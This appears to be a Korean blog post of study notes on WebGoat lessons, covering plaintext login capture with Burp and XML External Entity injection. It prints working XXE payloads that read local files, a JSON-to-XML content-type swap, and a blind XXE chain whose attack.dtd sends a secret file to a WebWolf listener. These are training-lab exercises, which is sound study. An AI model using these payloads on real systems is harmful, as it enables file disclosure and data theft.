무작정 따라하며 원리를 깨우치는 웹 해킹 : WebGoat 편
https://www.inflearn.com/course/%EC%9B%B9-%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-webgoat
취약한 인증
3. Sensitive Data Exposure
- Insecure Login
4. XML External Entities(XXE)
Insecure Login
문제 : 패닛 스니퍼를 사용해 패킷을 가로채보기
burp로 가로채서 로그인하면 성공
평문전송을 하기 때문에 취약하다는 것을 알 수 있다
XML External Entities(XXE)
= XXE (XML 외부 개체) Injection
XML이란
데이터를 효율적으로 주고받기 위해 만들어진 데이터 구조
근래에는 JSON이 더 많이 사용되고 있지만
레거시 프로젝트들에서는 아직도 사용되고 있으므로 주의하여야 함
내부 엔티티와 외부 엔티티
<?xml version "1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY str "내부엔티티">
<!ENTITY str SYSTEM "file:///[경로]외부엔티티">
]>
<result>&str;</result>
문제 : 양식을 제출할 때 XXE Injection을 통해 최상위 디렉토리를 리스팅하라
외부엔티티를 넣어서 제출하면
이렇게 등록되는 것을 볼 수 있다
윈도우의 경우는 SYSTEM "file:///c:/" 를 사용하면 최상위 디렉터리를 의미함
+ 최상위 디렉터리에 한글로 된 파일이 있으면 에러가 발생할 수 있다 ( javax.xml.bind.UnmarshalException ~~ )
문제 : 최신 REST 프레임워크에서 JSON 엔드포인트가 XXE 공격에 취약해질 수 있다
기존 문제와 동일한 XML 주입 시도해보기
데이터를 아무거나 넣어서 전송하면 이런 JSON 형식을 볼 수 있다
Content-Type: application/json
=> Content-Type: application/xml
컨텐츠 타입을 변경하고 xml 데이터 형식을 붙여넣으면 동일하게 인젝션된다
해당 서버에 xml parser가 설치되어 있는경우 발생하는 취약점
XXE DOS attack
&str; 로 참조할 때, 참조를 다량으로 한번에 할 경우 서버가 과부하된다
Blind XXE assignment
C:\Users\user/.webgoat-8.1.0//XXE/secret.txt
파일을 호출하는 것이 목표
이전과 같은 페이로드를 인젝션 한 경우
답은 맞지만, 다른 방식으로 풀어야 한다고 나온다
attack.dtd의 내용
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % aa "<!ENTITY gogo SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">%aa;
웹울프의 files에 가서 업로드한다
경로는 http://127.0.0.1:9090/files/webgoat1/attack.dtd 가 된다
공격용 페이로드의 내용
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "file:///C:\Users\user/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:9090/files/webgoat1/attack.dtd">
%dtd;
]>
<comment>
<text>&gogo;</text>
</comment>
실행과정
파라미터 엔티티(%) 중 외부파일인 attack.dtd를 참조한다
attack.dtd에서 %aa로 내부내용이 실행되고 %aa 안의 %file로 지정된 내용을 &gogo로 참조하여 실행한다
웹울프 페이지 가보면 이렇게 나와있다
WebGoat%208.0%20rocks...%20(nlICpvQORX)
여기서 url 인코딩된 %20을 공백으로 바꿔주고 입력하면 성공
'정보보안 > WebGoat' 카테고리의 다른 글
OWASP Top 10 항목 진단 - Broken Authentication (0) | 2025.01.13 |
---|---|
OWASP Top 10 항목 진단 - Injection 인젝션 (0) | 2025.01.03 |
OWASP Top 10 항목 진단 - WebGoat (환경설정) (0) | 2024.11.18 |